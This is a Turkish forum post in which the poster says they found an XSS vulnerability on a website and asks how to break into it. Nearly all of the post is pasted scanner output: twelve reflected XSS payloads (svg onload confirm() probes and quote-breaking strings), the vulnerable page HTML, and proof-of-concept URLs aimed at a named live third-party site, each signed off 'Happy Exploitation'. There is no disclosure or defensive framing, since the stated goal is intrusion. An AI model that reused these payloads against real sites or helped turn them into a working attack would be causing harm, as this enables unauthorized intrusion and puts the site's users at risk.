Sızma Testleri XSS açığı buldum

arkadaşlar bir sitede xss açığı buldum nasıl sızarım webp3wner kodları;
*] Payload Found . . .
[*] Payload: %27%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: <a href="/index.php?id=22954'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %78%22%78%3e%78
[!] Code Snippet: <a href="/index.php?id=22954x"x>x&page=3&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954x"x>x&page=3&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954x"x>x&page=3&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %22%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: <a href="/index.php?id=22954">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: zigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: <a href="/index.php?id=22954zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954zigoo0<svg/onload=confirm(/zigoo0/)>web&page=3&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %27%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: <a href="/index.php?id=22954&page=3'>zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954&page=3'>zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954&page=3'>zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %78%22%78%3e%78
[!] Code Snippet: <a href="/index.php?id=22954&page=3x"x>x&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954&page=3x"x>x&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954&page=3x"x>x&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %22%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: <a href="/index.php?id=22954&page=3">zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954&page=3">zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954&page=3">zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: zigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: <a href="/index.php?id=22954&page=3zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=2"><img src="images/flag-arm.gif"></a> <a href="/index.php?id=22954&page=3zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=2">in Armenian</a>
[*] POC: https://vgs.am/index.php?id=22954&page=3zigoo0<svg/onload=confirm(/zigoo0/)>web&lang=1
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %27%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: The Beatles is loved in Armenia as well and has a huge number of fans. Therefore, VGS undertakes a number of actions to raise funds and raise the statue of The Beatles in Armenia. Several Armenian bands covered The Beatles during this concert, which was the start of fundraising actions.</div><br><center><div id='player22981' style='display:none;margin-bottom:20px;' class='video_player'></div></center><div style='font-size:12px; color:#FFFFFF;'></div><div id='flashPlayer22981' class='flashplayerclass' style='display:none'></div><b style='color:#FFFFFF; font-size:11px;'>Photos:</b><div style='clear:both'></div><ul class='lunapark jcarousel-skin-tango'><li><a href='attachments/qqpC6QSAsQ2.jpg' rel='group22981' class='light'><img border='0' src='attachments/qqpC6QSAsQ2_tn.jpg' width='75' height='75' alt='' /></a></li></ul><div style='clear:both;'><br /></div></td></tr></table><hr width=700 align=left color=#666666 size=1><div align='center' style='font-size:13px; color:#757575; margin-top:24px;'>Pages: <a href='/index.php?id=22954&lang=1'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=1' class='page_number'>1</a>  |  <a href='/index.php?id=22954&lang=1'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=2' class='page_number'>2</a>  |  <span class='page_number_this'>3</span>  |  <a href='/index.php?id=22954&lang=1'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=4' class='page_number'>4</a>  |  <a href='/index.php?id=22954&lang=1'>zigoo0<svg/onload=confirm(/zigoo0/)>web&page=5' class='page_number'>5</a></div>
[*] POC: https://vgs.am/index.php?id=22954&page=3&lang=1'>zigoo0<svg/onload=confirm(/zigoo0/)>web
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %78%22%78%3e%78
[!] Code Snippet: The Beatles is loved in Armenia as well and has a huge number of fans. Therefore, VGS undertakes a number of actions to raise funds and raise the statue of The Beatles in Armenia. Several Armenian bands covered The Beatles during this concert, which was the start of fundraising actions.</div><br><center><div id='player22981' style='display:none;margin-bottom:20px;' class='video_player'></div></center><div style='font-size:12px; color:#FFFFFF;'></div><div id='flashPlayer22981' class='flashplayerclass' style='display:none'></div><b style='color:#FFFFFF; font-size:11px;'>Photos:</b><div style='clear:both'></div><ul class='lunapark jcarousel-skin-tango'><li><a href='attachments/qqpC6QSAsQ2.jpg' rel='group22981' class='light'><img border='0' src='attachments/qqpC6QSAsQ2_tn.jpg' width='75' height='75' alt='' /></a></li></ul><div style='clear:both;'><br /></div></td></tr></table><hr width=700 align=left color=#666666 size=1><div align='center' style='font-size:13px; color:#757575; margin-top:24px;'>Pages: <a href='/index.php?id=22954&lang=1x"x>x&page=1' class='page_number'>1</a>  |  <a href='/index.php?id=22954&lang=1x"x>x&page=2' class='page_number'>2</a>  |  <span class='page_number_this'>3</span>  |  <a href='/index.php?id=22954&lang=1x"x>x&page=4' class='page_number'>4</a>  |  <a href='/index.php?id=22954&lang=1x"x>x&page=5' class='page_number'>5</a></div>
[*] POC: https://vgs.am/index.php?id=22954&page=3&lang=1x"x>x
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: %22%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: The Beatles is loved in Armenia as well and has a huge number of fans. Therefore, VGS undertakes a number of actions to raise funds and raise the statue of The Beatles in Armenia. Several Armenian bands covered The Beatles during this concert, which was the start of fundraising actions.</div><br><center><div id='player22981' style='display:none;margin-bottom:20px;' class='video_player'></div></center><div style='font-size:12px; color:#FFFFFF;'></div><div id='flashPlayer22981' class='flashplayerclass' style='display:none'></div><b style='color:#FFFFFF; font-size:11px;'>Photos:</b><div style='clear:both'></div><ul class='lunapark jcarousel-skin-tango'><li><a href='attachments/qqpC6QSAsQ2.jpg' rel='group22981' class='light'><img border='0' src='attachments/qqpC6QSAsQ2_tn.jpg' width='75' height='75' alt='' /></a></li></ul><div style='clear:both;'><br /></div></td></tr></table><hr width=700 align=left color=#666666 size=1><div align='center' style='font-size:13px; color:#757575; margin-top:24px;'>Pages: <a href='/index.php?id=22954&lang=1">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=1' class='page_number'>1</a>  |  <a href='/index.php?id=22954&lang=1">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=2' class='page_number'>2</a>  |  <span class='page_number_this'>3</span>  |  <a href='/index.php?id=22954&lang=1">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=4' class='page_number'>4</a>  |  <a href='/index.php?id=22954&lang=1">zigoo0<svg/onload=confirm(/zigoo0/)>web&page=5' class='page_number'>5</a></div>
[*] POC: https://vgs.am/index.php?id=22954&page=3&lang=1">zigoo0<svg/onload=confirm(/zigoo0/)>web
[*] Happy Exploitation
[*] Payload Found . . .
[*] Payload: zigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[!] Code Snippet: The Beatles is loved in Armenia as well and has a huge number of fans. Therefore, VGS undertakes a number of actions to raise funds and raise the statue of The Beatles in Armenia. Several Armenian bands covered The Beatles during this concert, which was the start of fundraising actions.</div><br><center><div id='player22981' style='display:none;margin-bottom:20px;' class='video_player'></div></center><div style='font-size:12px; color:#FFFFFF;'></div><div id='flashPlayer22981' class='flashplayerclass' style='display:none'></div><b style='color:#FFFFFF; font-size:11px;'>Photos:</b><div style='clear:both'></div><ul class='lunapark jcarousel-skin-tango'><li><a href='attachments/qqpC6QSAsQ2.jpg' rel='group22981' class='light'><img border='0' src='attachments/qqpC6QSAsQ2_tn.jpg' width='75' height='75' alt='' /></a></li></ul><div style='clear:both;'><br /></div></td></tr></table><hr width=700 align=left color=#666666 size=1><div align='center' style='font-size:13px; color:#757575; margin-top:24px;'>Pages: <a href='/index.php?id=22954&lang=1zigoo0<svg/onload=confirm(/zigoo0/)>web&page=1' class='page_number'>1</a>  |  <a href='/index.php?id=22954&lang=1zigoo0<svg/onload=confirm(/zigoo0/)>web&page=2' class='page_number'>2</a>  |  <span class='page_number_this'>3</span>  |  <a href='/index.php?id=22954&lang=1zigoo0<svg/onload=confirm(/zigoo0/)>web&page=4' class='page_number'>4</a>  |  <a href='/index.php?id=22954&lang=1zigoo0<svg/onload=confirm(/zigoo0/)>web&page=5' class='page_number'>5</a></div>
[*] POC: https://vgs.am/index.php?id=22954&page=3&lang=1zigoo0<svg/onload=confirm(/zigoo0/)>web
[*] Happy Exploitation
[!] Congratulations you've found 12 bugs